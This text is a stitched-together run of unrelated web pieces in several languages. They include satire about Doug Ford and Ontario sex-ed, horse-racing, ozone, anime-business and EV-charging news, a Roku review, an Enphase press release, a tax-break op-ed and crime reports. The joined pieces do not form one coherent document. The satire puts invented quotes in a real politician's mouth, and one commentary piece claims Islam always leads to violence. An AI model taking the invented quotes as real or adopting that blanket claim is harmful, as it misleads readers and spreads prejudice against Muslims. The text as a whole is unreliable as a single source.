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QUEEN’S PARK – After a weeks-long furore around sex-ed in Ontario’s schools, Doug Ford has promised that the 1998 curriculum will be updated to include contemporary issues, such as girl-on-top.
“Folks, this government knows that times have changed,” said Ford. “And we understand it’s no longer considered wrong to do it ‘upside-down style’.”
While Ford was quick and vehement to stipulate his own ‘strong preference’ for ‘boy on top’, he acknowledged that it was better for children to learn about ‘deviant sex’ in schools, rather than on ‘the net’.
“According to the Supreme Court, it’s no longer illegal for the lady to be on top,” said Ford. “Folks like me may not like it, but Folks, it’s the law.”
Ford also said students would touch on topics such as ‘the gays’, ‘interracial’, and ‘Italian sex’.
The location of the female clitoris, however, will not be taught under the new curriculum. According to Ford, ‘there are some things Man was never meant to know.’ | {
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Their protest against being given a fail mark in what is an easy Mandarin test serves only to highlight their linguistic incompetence | {
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Jennie Rees
@CJ_Jennie
Palace Malice, winner of last year’s Belmont Stakes and this year’s Metropolitan Mile, could race again next year after owner Dogwood Stable sold 50 percent interest in the 4-year-old colt to Three Chimneys Farm in Midway, Ky. Tuesday’s announcement came less than three weeks after Palace Malice was declared retired because of a bone bruise.
Dogwood president Cot Campbell said bids from breeders wishing to stand Palace Malice at stud were due at the Stoll Keenon Ogden law firm last Friday. He said Three Chimneys, which recently was taken over by Goncalo Torrealba, was the only farm offering the option of racing another year. Campbell said there were offers involving more money to stand him, but Dogwood liked the idea of at least having the possibility of racing Palace Malice another year “to make him more valuable than he is now” as well as for the partners’ enjoyment of having a top-class horse.
“It came as somewhat as a surprise,” Campbell said by phone of the offer. “… All of our people felt that the excitement, the pleasure, the anticipation of running the horse, with the hopes that he would be himself, was very appealing.”
Palace Malice won four straight graded stakes this year, including the Grade II New Orleans Handicap and Grade I Met Mile, before finishing sixth in Saratoga’s Whitney Stakes. The bruising of the left hind cannon bone later was detected, eliminating him running again this year. But Campbell said noted orthopedic surgeon Larry Bramlage of Lexington’s Rood and Riddle equine hospital believes the horse will heal “perfectly with several months of inactivity” and could race next year at the top level.
Campbell said Palace Malice will be examined by a veterinarian panel Nov. 15 and if the horse is deemed “100 percent racing sound to the satisfaction of Three Chimneys and Dogwood,” he will go to Dogwood’s training barn in Aiken, S.C, to be prepared for another campaign with trainer Todd Pletcher.
Three Chimneys will acquire full ownership of the horse upon his retirement, according to a Dogwood press release. Palace Malice, a son of two-time Horse of the Year Curlin, has seven wins in 17 starts, earning $2,676,135.
“To be involved with the leading son of a two-time Horse of the Year, who demonstrated amazing versatility to win races like the Belmont Stakes and Metropolitan Mile, is what Three Chimneys is all about,” Torrealba said in the release. | {
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DAMASCUS, SYRIA (11:15 P.M.) – On Friday morning, ISIS deployed a handful of armored technicals in an attack on a government-held road in the western part of Saladin province.
Pictures of the hit-and-run operation were released by Amaq Agency today and showed jihadist belligerents engaging a Humvee and pickup truck along the targeted road, located between Baghdad and Mosul.
While the assault did not yield any territorial gains, Islamic State insurgents did manage to torch an Iraqi Army encampment at the town of Al-Dabs:
Despite Islamic State aggression, the supply routes between Iraq’s two largest cities are still open and relatively safe for travelers.
Since losing control of Mosul and Tal Afar earlier this, ISIS has been unable to mount a single actual offensive in the country due to the Iraqi Army’s overwhelming manpower.
However, hit-and-run operations remain a daily occurence across desert territory in the embattled provinces of Saladin, Nineveh, Anbar and Kirkuk. | {
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Negli ultimi anni sembrava che nulla potesse impedire al buco nell'ozono, presente sopra al continente antartico, di richiudersi. In passato aveva raggiunto dimensioni di circa 30 milioni di chilometri quadrati, qualcosa come 100 volte la superficie dell'Italia. Poi, piano piano, grazie soprattutto all'abolizione dei CFC (clorofluorocarburi), prima causa della sua origine, aveva iniziato a richiudersi: così, nel 2006, la sua estensione era scesa a 27 milioni di chilometri quadrati e l'anno scorso a 23,5 milioni di chilometri quadrati.
Ci si aspettava che quest'anno scendesse ulteriormente di dimensioni. Ma le ultime analisi dicono che esso è ritornato ad allargarsi ed è arrivato a 26 milioni di chilometri quadrati. Che cosa sta succedendo?
Il buco dell'ozono è stato causato anche dai clorofluorocarburi emessi dagli spray usati negli anni '70 e dall'industria del raffreddamento. Questi prodotti sono stati messi al bando nella quasi totalità della Terra.
Fisiologico (in parte). Va detto, innanzi tutto, che è normale che ogni anno ci sia un ingrandimento del buco dell'ozono perché nella stratosfera, a una quota compresa tra i 10 e i 50 chilometri, si verifica durante l'inverno antartico un arricchimento dei CFC ancora in circolazione, e questo a causa di complesse condizioni climatiche che si vengono a creare in corrispondenza di quest'area geografica.
Durante la primavera antartica, tali sostanze si mettono in attività e causano una parziale distruzione dell'ozono. Questo spiega perché il momento di massima apertura dell'ozono avviene proprio in primavera (il nostro autunno avanzato).
L'andamento del buco dell'ozono negli ultimi anni. |
ONDE PLANETARIE. Ma veniamo alla situazione di quest'anno e al fatto che il buco nell'ozono sia tornato ad avere dimensioni simili a quelle di nove anni fa, un dato che ha sorpreso i ricercatori del Centro Aerospaziale Tedesco che seguono la sua evoluzione con l'uso dei satelliti ambientali.
Per capire quanto avvenuto va ricordato che la circolazione che avviene nella stratosfera è dominata da quelle che sono chiamate onde planetarie, enormi "fiumi d'aria" che producono un'importante scambio di aria tra le regioni polari e quelle delle medie latitudini e viceversa.
Anomalia. Spiega Michael Bittner, responsabile del Data Center mondiale per il telerilevamento dell'atmosfera (Wdc-Rsat): «Nel mese di agosto 2015 si è osservato un insolito flusso di aria calda e ricca di ozono dalle latitudini più basse verso l'Antartide. Alla fine di agosto però, la situazione è mutata improvvisamente e l'aria più calda che scendeva al Polo Sud si è interrotta e sopra l'Antartide si è instaurato una situazione di calma atmosferica. E proprio questa situazione di stallo ha fatto sì che negli ultimi mesi entrassero in piena attività i fenomeni che degradano lo strato di ozono».
Così si è venuto a ricreare un buco nell'ozono stratosferico di forma quasi perfettamente circolare. Ora bisognerà capire se i cicli di onde planetarie si stiano modificando e quale influsso possa questo avere sull'atmosfera in generale e sul buco dell'ozono in particolare. | {
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The great king of evil has lived through many heroes, and many centuries, always failing in his quest. But when he discovers the existence of six magical gemstones with enough power to kill the hero with a single blast, he takes the gemstones, but a new and powerful kind of magic that he had never experienced before drives all sense and sanity from his head, transforming him into a wicked, power-hungry monster that will stop at nothing. For the first time in history, the hero may fall, and the legend may be broken forever.
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Resources used:
Twilight Sparkle, Rainbow Dash, Starlight Glimmer, and Applejack belong to Hasbro
Ganondorf belongs to Nintendo
Ganondorf's armor can go fuck itself up the ass tbh and so can library backgroundsI honestly can't wait to get to the point where Ganondorf starts regularly appearing in the story but at the same time, I don't wanna draw his fucking armor over and over again hhhhhh | {
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For most of our adult lives, television at the Robinson household consisted of a large antenna in the attic. We jokingly called it “farm vision.” Then we did what all old people do when their children are grown–we moved into town. I really enjoyed the luxury of cable–that is for about two years. Then I started to feel a bit cheated.
This past year forced us to reevaluate almost every aspect of our lives: our health, our lifestyle and our spending habits. When assessing the cost of cable, and the value it brings–cutting it was a no-brainer.
However, my husband and I both have favorite programs we enjoy. I’m not going to lie, as an information-junkie, my withdrawals from news and commentary hit fairly hard.
We’ve had AppleTV, and enjoyed streaming Netflix and routinely mirrored videos or live streaming church services or breaking news. But it really doesn’t offer a whole lot more than what’s on your computer or iPad.
Enter Roku.
Pronounced Row-Koo. If you’re considering Apple TV as an alternative to cable or DVD rentals checkout Roku first.
Roku is a little black device about the size of the palm of your hand and it streams Internet “channels” to your television. Roku comes loaded with access to over 1000 channels.
It’s a mixed bag of hundreds of free content and paid subscriptions. The best part about it, is you can add the channels you want and you’re not forced to weed through hundreds of channels to get to the couple you prefer. You can get Netflix, Hulu Plus, VUDU, Amazon Instant Video, PBS, The Blaze and Fox News. There are no fees connected with the device itself after the initial purchase. You will have to have wi-fi of course, as it is a streaming device.
Roku currently offers four different devices starting at $49.99. You can add a few bells and whistles at a time.
Currently, we have a yearly subscription to Amazon Prime, and are in the process of comparing Redbox (which offers four DVDs and unlimited streaming for $8.00 monthly) and Netflix. The subscriptions or combination you choose all depend on your viewing habits.
We have enjoyed the ability to watch entire seasons of television shows, watching episodes back to back without commercial interruption. Who cares if they are last year’s season–I’m no longer subjected to ED commercials or dating sites no matter how late we stay up.
You now have several options.
Roku LT for $49.99 comes with all the essentials. 1000 plus channels of movies, popular television shows, sports, music and live streaming channels. Grab the free app for short cuts and a guarantee you’ll never loose your remote– and you’re good.
Roku 1 costs $59.99 which carries all the above with the difference being the short cuts are built-into the remote.
Roku 2 is a bit more at $78.00 and it’s the same unit as Roku 1 with the added feature of headphones so you won’t disturb the house with late night horror flicks.
Roku 3 will run you about $99.99, but Amazon usually has it for less. This unit is faster. It still streams the same amount of movies and channels as the others, only you don’t have to buy a separate HDTV cord. Headphones and motion-control are built in to the remote for quiet late night gaming. 1080p with dual-band wireless, Ethernet and USB ports.
If you’re a die-hard fan of some show that you have to be current on, this might not be right for you. But if you’re tired of paying big bucks for entertainment and you’re willing to try new gadgets, this could be your new little buddy.
Then again, if you’re like me and have major guilt issues buying anything for myself with Christmas 10 weeks away, this is a great gift to give a young family. Throw in a gift subscription to Redbox or Netflix and you’ve nailed it.
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Photo Credits: Shutterstock, Aaron Amat | {
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A giant rubber duck that caused feathers to fly for weeks before its arrival has settled into its temporary new home on Toronto's waterfront for Canada 150.
The six-storey-tall yellow duck was inflated on Toronto's harbourfront on Friday morning ahead of the weekend RedPath Waterfront Festival.
The duck's $200,000 price tag had some critics crying foul, questioning the bird's connection to Canada 150 festivities.
The festival, which has received government funding in previous years to promote tourism, received about 1$20,000 from the province and $250,000 from the federal government from the Canada 150 fund to tour the faux fowl in six cities.
The giant rubber duck is based on similar floating structures by a Dutch artist that have travelled the world. | {
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Jordan Begley death: Names of Taser officers released Published duration 2 February 2015
image copyright PA image caption Jordan Lee Begley died after he was hit with the electric stun gun on 10 July 2013
Five police officers who had been granted temporary anonymity at an inquest into a man shot with a Taser have been named by the coroner.
Jordan Lee Begley died after being hit with the electric stun gun by a Greater Manchester Police officer in July 2013.
The PC who pulled the Taser trigger has been named as Terence Donnelly.
The four officers involved in restraining the 23-year-old at the time were PCs Dave Graham, Christopher Mills, Peter Fox and Andrew Wright.
'Death bounty'
The five had been granted an interim anonymity order on 15 December 2014, meaning their lawyers could have appealed to the High Court.
In a written ruling, Nigel Meadows, the senior coroner for Manchester, said "no such challenge is to be pursued and consequently the officers... can now be identified".
He added lawyers could still ask for "special measures to protect the physical appearance of the officers" and that he had yet to decide whether to allow such an application, should it be made.
At a hearing in December, Mr Meadows was told that a £50,000 bounty from crime gangs was the prize for shooting dead an armed police officer.
The claim was made by Supt Leor Giladi in support of the five officers, who has said they feared retribution from organised crime groups if they are named.
Lawyers for the Press Association, the Guardian, Associated Newspapers and ITV had argued not naming the men would be "a major derogation from the open justice principle". | {
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O ministro da Economia, Paulo Guedes, afirmou que os governos anteriores contrataram servidores públicos em excesso e concederam reajustes salariais "ferozmente". Ele participa hoje de audiência sobre a reforma da Previdência na Comissão de Finanças e Tributação da Câmara dos Deputados.
Segundo ele, por causa do inchaço da máquina pública, o governo optará por não realizar concursos públicos nos próximos anos. Ele não disse por quanto tempo os processos seletivos ficarão suspensos.
"Nas nossas contas, 40% dos funcionários públicos devem se aposentar nos próximos cinco anos. Não precisa demitir. Basta desacelerar as entradas", disse.
Guedes afirmou que o governo investirá na digitalização de processos e na redução da burocracia para tornar os serviços públicos mais eficientes.
Ele disse que o processo de abertura de empresas no país foi simplificado, e essa metodologia será ampliada para outros serviços, mas não deu mais detalhes sobre quais serviços serão alterados.
Sem concurso público em 2020
Em abril, o governo Jair Bolsonaro enviou ao Congresso Nacional o projeto de LDO (Lei de Diretrizes Orçamentárias) de 2020 sem a previsão de realização de concurso público.
Pouco antes, Guedes afirmou que o governo estava cortando concursos e reduzindo drasticamente o número de funcionários. "Acabou o empreguismo, não tem mais isso", disse.
O projeto da LDO poderá ser alterado pelo Legislativo e deve ser votado pelo Congresso até 17 de julho, ou os parlamentares não poderão entrar em recesso. A etapa final é a sanção presidencial.
Parte da culpa por "roubalheira"
Não é a primeira vez que o ministro menciona o funcionalismo público em audiência sobre a Previdência na Câmara. No mês passado, na comissão especial sobre o tema, Guedes afirmou que parte da culpa pelos "desvios" e pela "roubalheira" que atingiu o país nos últimos anos é dos funcionários públicos.
Segundo ele, a categoria é responsável por "tomar conta das coisas públicas", mas não cumpriu o seu papel.
"O funcionalismo público não é culpado, mas também não é inocente. A função deles é tomar conta das coisas públicas. Como teve desvio, roubalheira? Cadê a turma que tinha que tomar conta disso?", disse.
Na ocasião, a CSPB (Confederação dos Servidores Públicos do Brasil) rechaçou a fala do ministro. "Essa declaração é tão estapafúrdia, tão absurda, que nos autoriza a concluir uma coisa: o ministro sequer sabe o que é servidor público", disse João Domingos Gomes dos Santos, presidente da CSPB. | {
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FREMONT, Calif., Aug. 05, 2019 (GLOBE NEWSWIRE) -- Enphase Energy, Inc. (ENPH), a global energy technology company and the world’s leading supplier of solar microinverters, today announced that over 5,300 homeowners have joined the Enphase Upgrade Program, a service program that gives homeowners several options for upgrading to the latest, more efficient and reliable microinverters from Enphase. This program is for warranty holders of legacy Enphase microinverters and represents the company’s continued commitment to quality and service. Participation in the Enphase Upgrade Program is entirely voluntary, and Enphase continues to stand by its warranties for existing products in the field.
The Enphase Upgrade Program is a close collaboration between Enphase, homeowners and solar installation contractors in North America. Enphase reaches out directly to eligible Enphase system homeowners and upon confirmation, pairs them with a local solar installation contractor. Homeowners with select legacy Enphase microinverters have several options to upgrade their systems with products from the Enphase IQ™ 7 family of microinverters.
“The Enphase Upgrade Program has been a welcome addition to the portfolio of valuable services offered by Enphase, and our customers love having a cost-effective way to breathe new life into their older solar systems,” said Bruce Bosworth, owner of San Diego Solar Install. “For our teams on the roofs, the work of replacing legacy microinverters with new IQ 7 micros is very safe, since the rapid shutdown function on Enphase microinverters means that there is no danger to them when a system does not have an off switch or bypass installed.”
“These days it’s a pleasant surprise when a consumer products company stands behind its products in the long-term,” said Charlie Chaplin, from San Diego Solar Install in San Diego, California. “Filling out the form from Enphase was easy, and the San Diego Solar Install team was helpful and responsive in working with us to get everything installed. We are delighted with the upgrade program and its results.”
Story continues
“The Legacy Upgrade program demonstrates Enphase’s commitment to its customers and to improving the experience consumers have with solar PV,” said Scott Glines, owner, designer and foreman at SuretySun Services. “After personally servicing over 7,000 residential solar systems from all major brands in the US, the Enphase Upgrade Program is extending the life of many solar systems and ensures that nobody is left behind. No other solar provider I know has shown the fortitude and grit that Enphase has over the past years, and I look forward to Enphase once again revolutionizing solar with Enphase Ensemble™ technology.”
“My Enphase solar system was installed in 2010, and while the company which installed that system is no longer around, Enphase and SuretySun Services made the microinverter upgrade process very easy,” said George Monteverdi, a SuretySun Services customer in Napa County, California. “The upgraded system with Enphase Energized™ Solaria AC Modules now regularly produces over 75% more energy than the old system did, and I appreciate being able to see this boost on the MyEnlighten™ dashboard online.”
“We take great pride in providing the best service possible to our customers, and the Enphase Upgrade Program has allowed us to bring that service to many new customers,” said Wayne Williford, vice president of operations and management at Stellar Energy G.P. Inc. “Enphase has done something great with this program, and our customers say the service and support they’ve received from Enphase has been outstanding. With the benefit of the Upgrade Program, we expect our customers’ systems to perform for many years to come.”
“I’ve been extremely happy with the decision to use Enphase almost ten years ago, but I had no expectation that this company would one day approach me about a way to upgrade the system,” said Glenn Crow, a Stellar Energy customer in Saratoga, Calif. “It’s impressive when a company does not leave the little guy in the dust. Stellar Energy was very responsive about doing the installation, and their service was just as their name advertises, stellar. Thank you to both companies for upgrading my Enphase solar system.”
“We are making the Enphase Upgrade Program available to ensure that our earliest customers can benefit from the advances our technology has made in the past decade,” said JD Dillon, vice president of marketing at Enphase Energy. “The homeowner response to the Upgrade Program has been incredible, and we are proud that this program earned a 65% Net Promoter Score (NPS) for the second quarter of 2019. Enphase extends its gratitude to San Diego Solar Install, SuretySun Services, Stellar Energy, and the many other solar installation companies around the country who have shown themselves to be outstanding partners in the process and helped us provide great service to homeowners.”
Program details are available in Enphase installer and homeowner webinars and on the Enphase Upgrade Program website .
About Enphase Energy, Inc.
Enphase Energy, a global energy technology company, delivers smart, easy-to-use solutions that connect solar generation, storage and management on one intelligent platform. The Company revolutionized the solar industry with its microinverter technology, and we produce a fully-integrated solar plus storage solution. Enphase has shipped more than 21 million microinverters, and over 940,000 Enphase systems have been deployed in 130 countries. For more information, visit www.enphase.com/ and follow the company on Facebook , LinkedIn and Twitter .
Enphase Energy®, Enphase IQ, the Enphase logo, Ensemble, Enphase Energized, My Enlighten and other trademarks or service names are the trademarks of Enphase Energy, Inc. Other names are for informational purposes and may be trademarks of their respective owners.
Forward-Looking Statements
This press release may contain forward-looking statements, including statements related to the expected capabilities and performance of Enphase Energy’s technology and products; our product quality and reliability, and our customer service and the quality of service provided by our installation partners, and anticipated market adoption of our current and future products. These forward-looking statements are based on Enphase’s current expectations and inherently involve significant risks and uncertainties. Actual results and the timing of events could differ materially from those anticipated in such forward-looking statements as a result of certain risks and uncertainties including those risks described in more detail in Enphase’s most recent Annual Report on Form 10-K and other documents on file with the SEC and available on the SEC’s website at www.sec.gov. Enphase Energy undertakes no duty or obligation to update any forward-looking statements contained in this release as a result of new information, future events or changes in its expectations, except as required by law.
Images Available: http://go.enphase.com/enphase-media-room
Contact: Christian Zdebel, [email protected] , 484-788-2384
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With over half a billion dollars grossed worldwide, "The Amazing Spider-Man 2" is one of the summer's biggest blockbusters. It's also the largest film production ever made in New York, and as a result, the largest beneficiary of its tax breaks for movie makers. Every year, New York gives roughly $420 million in tax breaks to the film industry alone. Louisiana comes second at $236 million.
Yet these colossal corporate benefits pale in comparison to other benefits that state and local governments grant to big businesses. Boeing recently announced that it will build the wings for its 777X jet in Washington state after it offered the aircraft maker the largest benefits package in U.S. history, worth $8.7 billion. Overall, state governments annually dole out tens of billions of dollars tax breaks, subsidies and other benefits to attract companies, often engaging in bidding wars with other states. This game doesn't just hurt the losing states; the winners suffer, too.
Many people have an aversion to governments picking winners and losers through direct subsidies. Taxing the little guy to give money to big corporations doesn't strike most of us as fair. Nevertheless, few oppose targeted tax breaks granted in the name of "economic development" and "revitalization."
But in fact, there is no fundamental difference between government subsidies and tax expenditures. Both put other businesses at a competitive disadvantage and misallocate resources by artificially making some activities more profitable. And they both require additional tax revenue from elsewhere.
Many jobs the tax breaks allegedly create would have appeared anyway because companies don't primarily choose their location based on taxes. But once they select a locality, they have the incentive to pretend that they are considering the move and then bargain with governments for the biggest tax breaks.
Companies play the same card even if they aren't actually thinking about moving. When the New York Stock Exchange claimed that it was considering relocation to New Jersey, the state government enticed it to stay. In 1998, it offered the NYSE benefits worth over $1 billion, including a new trading floor. The incentive "worked," and the company stayed.
Targeted benefits encourage companies to game the system. In 1993, IBM caused a rapid increase in local unemployment by laying off 7,000 people in upstate New York. Seven years later, the government declared IBM's location an enterprise zone, a label bestowed upon high-unemployment areas in need of revitalization. Combined with additional subsidies, this earned IBM $659 million in benefits. By arguing that they are important for the state economy, large companies in particular can receive benefits to invest more or expand their workforce.
Targeted benefits also encourage excess lobbying and corruption. When defense contractor Raytheon threatened to leave Massachusetts in 1995, the state didn't respond with offers of incentives, so Raytheon paid a lobbying team to organize a public-relations campaign. One message was that the state's "defense initiative" would save 117,000 jobs. The governor soon offered Raytheon $20 million in tax cuts, labeling the policy a "jobs package."
When companies know they can obtain special benefits, they have the incentive to present the government and the public with exaggerated and incorrect information about the benefits of targeted tax breaks.
Targeted benefits create unhealthy relationships between businesses and local governments. In this environment, business success increasingly depends on a company's connections and ability to obtain tax breaks rather than provide customers with the best products and services. When companies must focus on what they can take, rather than what they can create, the effects are damaging and long-lasting for the local economy.
State and local governments should realize that they do their own economies a disfavor by doling out special benefits to companies. If they want to attract more companies, they should lower taxes across the board and promote a business climate that attracts the most competitive companies - not the companies with the best political skills and connections. | {
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Updated on October 27, 2017
It’s official. The deal has closed for Sony Pictures Television Networks to acquire Funimation — and we’re incredibly excited!
We’re still the Funimation you’ve known and grown up with, and now with the power of Sony, and with Gen at the helm, we have the opportunity to bring the best anime to even more fans across the world. We’ve updated our FAQs with more details below.
Thank you for watching!
Original post
Founder Gen Fukunaga started Funimation with a vision and a mission to make anime as accessible as possible to fans across the world. In the 23 years since we began, we have been committed to creating anime experiences fans love: from bringing Dragon Ball to the U.S., to bringing the best anime to home video and theaters, to SimulDubs that bring episodes in English to fans within two weeks after they air in Japan, to the world’s largest dubbed streaming catalog on FunimationNow.
Today, we announced that Funimation has agreed to sell a substantial majority stake to Sony Pictures Television Networks (SPTN). SPTN is one of the preeminent names in entertainment, and shares our vision to deliver anime to fans globally across all screens and platforms.
You can read additional details on the press release here.
We know you have questions and we’ve answered some of them below. We encourage you to read these answers and thank you for your support and for watching!
FAQ
How does Sony Pictures Television Networks’ acquisition change Funimation?
Funimation has been bringing the best anime to fans for over 23 years and has an expertise in identifying, licensing and distributing anime to our fans, through DVDs, theatrical screenings, and with our streaming service, FunimationNow. We have had a long-held mission to reach more fans with more anime, and now as part of the Sony family we can accelerate that mission through their global footprint of television networks and existing digital offerings. Sony’s networks have been major players in the anime space for nearly two decades in Japan and worldwide. As part of the Sony family, we are excited to have more options to reach more people.
Will the Funimation team change?
Currently, our plan is for Funimation to operate as it has to date. Gen will remain CEO, and the team will continue to deliver the best anime experiences we can to you.
Is this a partnership, merger, or an acquisition?
Funimation has agreed to sell a substantial majority stake to Sony Pictures Television Networks.
What does this mean for your products and services?
Funimation remains committed to making our physical and digital products as accessible to fans as possible and we have no plans to change pricing and placement of our physical or digital product. FunimationNow will remain the same price and will be available in all of its current territories.
Will this delay the release of any content?
There will be no impact to our SimulDub, home video release or theatrical schedules.
What will Sony’s level of involvement be as it pertains to administration, dubbing, distribution and pricing of Funimation anime?
Funimation will maintain control of the operational pieces of dubbing, distribution and pricing of our anime. We know our fans best and will continue to deliver what you love, however you like to watch. Where Sony can help us be more efficient and get anime to more people around the world across devices and countries, we will work together to make that happen and are excited about the opportunity that presents to both serve our fans, and introduce anime to a new audience.
How will this affect Funimation Films’ theatrical releases?
We know that many of our fans love the experience of watching anime in theaters. Sony has a robust theatrical business and we will explore ways to work in conjunction with the team. If you want more anime in more theaters, let us know. We’ll be listening for those requests!
Sony is a Japanese company. What value does that bring to Funimation?
Funimation is a leader in bringing anime to fans across the world. Sony will further strengthen Funimation’s leadership position with expanded and more direct access to anime creators and talent in Japan, the home of Anime.
Will this affect the production or quality of dubs coming from Funimation?
Funimation will always strive to honor the intent of the Japanese creators in our productions. There will be no changes to our translation, script writing, voice actors or production staff. We will be keeping our production facilities in Texas so we can continue to bring SimulDubs to you within two weeks of the Japanese broadcast date.
Does this mean Funimation will be buying more or less anime?
Funimation remains committed to bringing you the biggest and best English dubbed anime library, along with new seasons of SimulDubs within two weeks of their broadcast in Japan.
How does this affect my FunimationNow subscription?
The FunimationNow service remains the same – there will be no change in your subscription terms, pricing or content availability.
Will the Sony acquisition accelerate expansion of the FunimationNow service to new territories?
This is one of the reasons we are so excited about this deal and about becoming a part of the Sony family. We absolutely anticipate bringing more anime to more people around the world. In addition to the US, our streaming service, FunimationNow is available in the UK, Ireland, Australia and New Zealand. Sony has a global footprint in television and on digital platforms that will help us both with launching faster in more territories and with letting people know we exist when we do launch.
Will Sony be deciding how things are dubbed?
Sony values our years of expertise dubbing anime and understands that for over two decades, Funimation has been making anime accessible to a wide audience by delivering high quality dubs working with our talented voice actors and directors.
How will the acquisition by Sony effect Funimation’s business relationships? Specifically: Toonami, Universal, Aniplex & Crackle.
There are no current plans to make any changes to our relationships with any partners or vendors, but where we can, we will take a fresh look at what will benefit fans the most. If we plan on making any changes, you will hear from us first.
Does this change your Crunchyroll/VRV partnership?
There are no changes to our existing partnership or to the content available from Funimation on either service. Crunchyroll will continue to broadcast subtitled simulcasts, and FunimationNow will continue to stream SimulDubs for most titles within two weeks after the shows original Japanese broadcast.
Does this mean Funimation content will be available on Crackle or Playstation Vue?
We have always tried to make our content accessible as widely as possible for our fans and will continue to do so. This does not change the FunimationNow service.
How is this acquisition related to Aniplex?
This transaction does not involve Aniplex.
What does this mean for fans outside of the U.S.?
We are already delivering anime to fans in the U.K., Ireland, Australia, and New Zealand through FunimationNow. Service to these regions will not change because of this deal. | {
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Fox News Channel’s Megyn Kelly took the opportunity to once again have Ayan Hirsi Ali on her program to discuss sharia law since the kidnapping of hundreds of Nigerian schoolgirls by Boko Haram remains in the news. Ali, who was born in Somalia explains perfectly why the transformation from the so-called ‘peaceful’ brand of Islam into the more violent strain is as reliable as a chemical formula. It all ends the same way. As peaceful men assemble to listen to well-intentioned, peaceful Muslim preachers, evil and hatred creeps in.
This happens not because these preachers start out wanting to go there but because that’s where Islam always leads. The other problem Ali identifies is one that men in positions of power in the U.S. exhibit on a daily basis; they fail to confront the threat.
The threat then always grows like a small fire that is allowed to catch wind instead of being stomped out.
Ali nails it here.
Watch the latest video at video.foxnews.com
PLEASE CONSIDER A ONE-TIME OR MONTHLY DONATION TO RESCUE CHRISTIANS
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The BitFenix NOVA MESH is the rebirth of the popular BitFenix NOVA with re-engineered designs and features to offer the best balance of performance, looks and ease of [...] | {
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L'auteur du triple assassinat commis dimanche matin à la gare de Noyon, dans l'Oise, sur sa femme et ses deux enfants de trois et cinq ans, est un policier, a annoncé la procureure de Compiègne. L'homme s'est ensuite donné la mort.
Il n'aurait pas supporté l'idée de divorcer. "L'auteur de cet assassinat est un fonctionnaire de police affecté à la préfecture de police de Paris, qui n'aurait pas supporté l'annonce par son épouse de son intention de le quitter", a déclaré la procureur de la République de Compiègne Virginie Girard lors d'une conférence de presse, dimanche en fin d'après-midi.
La mère appelle les gendarmes. Dimanche matin, des gendarmes sont appelés en raison d'un différend familial dans la ville. La mère, née en 1983, explique aux militaires qu'elle veut quitter le domicile conjugal. À ce moment-là, le mari n'est pas au domicile. Une fois revenu, le mari, un policier né en 1979, a une attitude "parfaitement calme" et ne refuse pas qu'un voisin conduise sa femme à la gare de Noyon, distante de dix kilomètres, avec trois de leurs cinq enfants, les deux autres enfants étant gardés par le voisinage, a expliqué la procureure.
Une enfant a survécu. Mais, vers 11h30, "alors que le groupe constitué de la mère de famille et de ses trois enfants attendaient sur le quai, l'auteur des faits a surgi et a tiré plusieurs coups de feu sur son épouse puis sur deux des enfants, les atteignant mortellement", a ajouté la procureure. Le troisième enfant, une fillette de cinq ans et jumelle d'un des deux enfants décédés, n'a pas été blessée.
L'enquête doit permettre de déterminer si le policier a utilisé son arme de service pour commettre ce triple homicide, et se suicider. Par ailleurs, les enquêteurs demandent à un témoin de la scène "qui a pris la fuite" de se manifester auprès des autorités. | {
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News
It may soon become a lot easier for California drivers to get plugged in.
Legislation on Gov. Brown’s desk would allow city officials and private property owners to install charging stations for electric vehicles on curbsides of public streets. Brown has until Oct. 15 to sign the bill, veto it or let it become law without his signature.
The measure was introduced by Assemblymember Al Muratsuchi, D-Rolling Hills Estates, to increase the number of charging stations in cities, including Sacramento, Los Angeles and San Francisco, according to Muratsuchi aide Brady McCarthy.
Four out of five EV owners currently charge their cars at home. Boosting the number of public charging stations likely would encourage a greater use of EVs.
In part, the bill was prompted by the increasing popularity of electric vehicles, or EVs, in California: Some 244,000 electric vehicles were sold in the state from 2011 to 2016, more than three times the rest of the nation combined.
McCarthy said AB 1452 would add many electric charging stations to curbside parking where there are now regular parking spaces. Four out of five EV owners currently charge their cars at home, and boosting the number of public charging stations likely would encourage a greater use of EVs – a key piece in the fight against climate-changing greenhouse gases.
The bill would give cities the ability to regulate electric vehicle parking in municipal lots that they own and authorize people with curbside parking spots to designate spaces for charging or parking electric vehicles.
“This bill is intended to facilitate the expansion of electric vehicle parking in public streets, in open areas and local municipalities,” McCarthy said.
Muratsuchi’s measure allows cities, counties and residents to decide whether they wish to set up designated areas for electrical vehicles, and leaves it to them to establish phase-in periods to alert the public to the changes.
Many vehicles in Rolling Hills Estates, Muratsuchi’s home city, are still gasoline-powered, although there has been an increase in electric cars in recent years.
The city of Los Angeles recently published a citywide plan that proposes an expansion of at least 1,000 electric vehicle charging stations on its public streets.
McCarthy said that the law also would allow local municipalities to designate how those parking spaces will be regulated, including posting proper signs and ticketing vehicles if they’re not utilizing the EV-specific spaces properly.
Similar to other common public curbside parking rules, vehicles — electric or conventional — would get fined if they’ve exceeded the time limit, and gas- or diesel-powered vehicles would be ticketed if they’re parked at a charging spot. The cities would also tow vehicles violating these parking rules.
“These regulations will give more spaces to electric vehicle owners to park and charge,” McCarthy said. “Hopefully along the way would convince more people to drive these (types of vehicles).”
He also said that although many vehicles in Rolling Hills Estates, Muratsuchi’s home city, are still gasoline-powered, there has been an increase in electric cars in recent years, prompting the Assemblymember to introduce AB1452.
The legislative analyst said that there’s no cost to the state with the bill, but it’s at the discretion of local authorities to determine how much money should be allotted to this new effort and to choose how many charging stations to install based upon the availability of spaces and the residents’needs.
“The city has been actively seeking to promote itself and electric vehicles and to increase charging infrastructure.” Jennifer Venema, Sacramento
In June, Sacramento City Councilmember Jay Schenirer, who represents Oak Park, sent a letter to the governor on behalf of the city showing support for AB1452.
Schenirer said in the letter that his city has been “working actively” to expand electric vehicle charging infrastructure for years, but lacks the authority and opportunities to “dedicate and enforce” spaces exclusively for on-street electric charging.
“Visibility of charging infrastructure in the public right-of-way testifies to the legitimacy and viability of EVs,” Schenirer wrote in the letter, “and speaks to the commitment of government to support their use.”
Jennifer Venema, the city’s sustainability manager, said that as the city grows, legislation like AB 1452 would only increase the city’s appeal for eco-friendly, on-the-go residents, especially downtown, where the city is planning for a new hospital, new transit-focused development and at least 10,000 more residents.
“The city has been actively seeking to promote itself and electric vehicles and to increase charging infrastructure,” Venema said. “We believe that AB1452 will help us achieve these goals and missions.”
She also said that the bill is a great opportunity to build community awareness and provide a significant educational opportunity — all with the hope of encouraging more people to drive electric vehicles.
